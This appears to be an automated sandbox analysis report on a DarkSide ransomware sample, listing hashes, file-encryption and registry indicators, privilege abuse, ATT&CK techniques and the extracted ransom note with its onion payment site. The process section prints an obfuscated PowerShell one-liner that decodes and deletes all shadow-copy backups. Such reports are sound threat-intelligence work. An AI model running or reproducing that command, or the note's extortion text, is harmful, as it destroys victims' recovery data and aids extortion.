darkside | 0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d

General

Target

0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Size

59KB
MD5

885fc8fb590b899c1db7b42fe83dddc3
SHA1

c104056f9a926d27a2082f0510c97b09cb0eb3e5
SHA256

0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d
SHA512

2b8e49ad84434dcaf98635120ac54bfa7e55bb61bf9d0e3f1f25ab81e950f638311d2121217bf5840834778d5e137551e24b89da02f12dc6be99d755c54f4c13

Score

10^/10

darkside ransomware spyware stealer

Malware Config

Extracted

Path

C:\\README.5bede5a3.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide - I-D Foods Corporation] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/LYID3U99RAJSTEYEFWS6SLYDGMUXKNAT3OPKN9D56PIGX1QHBU5DHGUN4HGMX2IW When you open our website, put the following data in the input form: Key: 9NtjyWHbqWYTbhBpJ2ht4tKo7DQgTGmQ4IGHCFvgjiSMTNopVgQ9YIh9KRWkQgmvxviZtJGOakzykMzWKRgxwf2pCxpdMT8iGlKcsSOsxVOUXIGEgpy6tLqliTTEKWnohcYOhCF3DYMePMxEYa0eCmED1EXEG5QOZCpmkgDl5s5VSUF5uhnKsunUtKGS24iEAr2hxsJ1zMcMHmKVrf3bvRyhYVKXwlXVggxE7ncowldcK3v3CiKC24jKVd6OH5QrhVyyQLrFM5RE3Y0RcTeRTIqf1J5CIEhTiG3TH7SEpws4wfkt9RZ7rBWT4n3B69Z9JuPzyFCBwPKF7gTzEYzixIGzFbJyLSZXff9ryv3yL3JeKywAcoBafos0dLSkRgf1X1a1S2ud4kXa5GRU4W7rhCQsnJ8vAcv1AXaPRq9ESySBWQdGCQMSci0ex0oE4EfCDW3jjyXtaPofqNFhibodJFmOyTKwie1OcW6Kh6Ih6JxXXfUXr4VbRILzsiPXsOTTisDaEicID1E0SJRluBus2UhPyogJiZ7UpmUu9LUe3yAi3Bhox3pLv8E !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidfqzcuhtk2.onion/LYID3U99RAJSTEYEFWS6SLYDGMUXKNAT3OPKN9D56PIGX1QHBU5DHGUN4HGMX2IW

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside

Modifies extensions of user files 19 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe

description	ioc	process
File opened for modification	C:\Users\Admin\Pictures\GroupOut.png.5bede5a3	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
File renamed	C:\Users\Admin\Pictures\SetRegister.raw => C:\Users\Admin\Pictures\SetRegister.raw.5bede5a3	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
File opened for modification	C:\Users\Admin\Pictures\StartUndo.tiff	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
File renamed	C:\Users\Admin\Pictures\StartUndo.tiff => C:\Users\Admin\Pictures\StartUndo.tiff.5bede5a3	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
File renamed	C:\Users\Admin\Pictures\GroupOut.png => C:\Users\Admin\Pictures\GroupOut.png.5bede5a3	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
File opened for modification	C:\Users\Admin\Pictures\InitializeSet.raw.5bede5a3	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
File opened for modification	C:\Users\Admin\Pictures\MeasureDebug.tiff.5bede5a3	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
File opened for modification	C:\Users\Admin\Pictures\SkipPing.tiff	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
File opened for modification	C:\Users\Admin\Pictures\SkipPing.tiff.5bede5a3	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
File opened for modification	C:\Users\Admin\Pictures\UndoRepair.raw.5bede5a3	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
File renamed	C:\Users\Admin\Pictures\GrantAssert.crw => C:\Users\Admin\Pictures\GrantAssert.crw.5bede5a3	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
File renamed	C:\Users\Admin\Pictures\InitializeSet.raw => C:\Users\Admin\Pictures\InitializeSet.raw.5bede5a3	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
File renamed	C:\Users\Admin\Pictures\MeasureDebug.tiff => C:\Users\Admin\Pictures\MeasureDebug.tiff.5bede5a3	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
File opened for modification	C:\Users\Admin\Pictures\SetRegister.raw.5bede5a3	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
File renamed	C:\Users\Admin\Pictures\SkipPing.tiff => C:\Users\Admin\Pictures\SkipPing.tiff.5bede5a3	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
File renamed	C:\Users\Admin\Pictures\UndoRepair.raw => C:\Users\Admin\Pictures\UndoRepair.raw.5bede5a3	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
File opened for modification	C:\Users\Admin\Pictures\GrantAssert.crw.5bede5a3	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
File opened for modification	C:\Users\Admin\Pictures\MeasureDebug.tiff	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
File opened for modification	C:\Users\Admin\Pictures\StartUndo.tiff.5bede5a3	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\5bede5a3.BMP"	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\5bede5a3.BMP"	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe

Modifies Control Panel 1 IoCs

evasion

Processes:

0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Control Panel\Desktop\WallpaperStyle = "10"	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe

Modifies registry class 5 IoCs

Processes:

0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.5bede5a3\ = "5bede5a3"	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\5bede5a3\DefaultIcon	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\5bede5a3	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\5bede5a3\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\5bede5a3.ico"	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.5bede5a3	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe

pid	process
1404	powershell.exe
1580	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
1580	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

Processes:

0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exepowershell.exevssvc.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	1580	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeSecurityPrivilege	1580	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeTakeOwnershipPrivilege	1580	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeLoadDriverPrivilege	1580	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeSystemProfilePrivilege	1580	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeSystemtimePrivilege	1580	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeProfSingleProcessPrivilege	1580	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeIncBasePriorityPrivilege	1580	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeCreatePagefilePrivilege	1580	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeBackupPrivilege	1580	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeRestorePrivilege	1580	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeShutdownPrivilege	1580	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeDebugPrivilege	1580	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeSystemEnvironmentPrivilege	1580	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeRemoteShutdownPrivilege	1580	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeUndockPrivilege	1580	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeManageVolumePrivilege	1580	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: 33	1580	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: 34	1580	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: 35	1580	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeDebugPrivilege	1404	powershell.exe
Token: SeBackupPrivilege	620	vssvc.exe
Token: SeRestorePrivilege	620	vssvc.exe
Token: SeAuditPrivilege	620	vssvc.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe

description	pid	process	target process
PID 1580 wrote to memory of 1404	1580	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe	powershell.exe
PID 1580 wrote to memory of 1404	1580	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe	powershell.exe
PID 1580 wrote to memory of 1404	1580	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe	powershell.exe
PID 1580 wrote to memory of 1404	1580	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
"C:\Users\Admin\AppData\Local\Temp\0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe"
1⤵
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1580

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1404

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:620

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Credentials in Files

1

T1081

Discovery

Lateral Movement

Collection

Data from Local System

1

T1005

Exfiltration

Command and Control

Impact

Defacement

1

T1491

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
MD5
3b80d40a65e03e035cf76129c11559b9

SHA1
6a357bbb32fc88785a60ece81252cbd1920828a1

SHA256
c61b7f0113737d5cb04c167555cfc664858200a6379c6a76ef7b8e17f9b10d52

SHA512
75669dffe481137d0ed199522a352aab20b746b7c556a6f0e92aea58cf6e012824615672a76d68a94b5f6477bbe8ea2e83868e34269c841cc695b3f20eecc26d

Download Submit
memory/1404-55-0x000007FEFB571000-0x000007FEFB573000-memory.dmp

Filesize
8KB

Download
memory/1404-58-0x0000000002482000-0x0000000002484000-memory.dmp

Filesize
8KB

Download
memory/1404-59-0x0000000002484000-0x0000000002487000-memory.dmp

Filesize
12KB

Download
memory/1404-57-0x0000000002480000-0x0000000002482000-memory.dmp

Filesize
8KB

Download
memory/1404-56-0x000007FEF26A0000-0x000007FEF31FD000-memory.dmp

Filesize
11.4MB

Download
memory/1404-60-0x000000000248B000-0x00000000024AA000-memory.dmp

Filesize
124KB

Download
memory/1580-54-0x00000000754B1000-0x00000000754B3000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads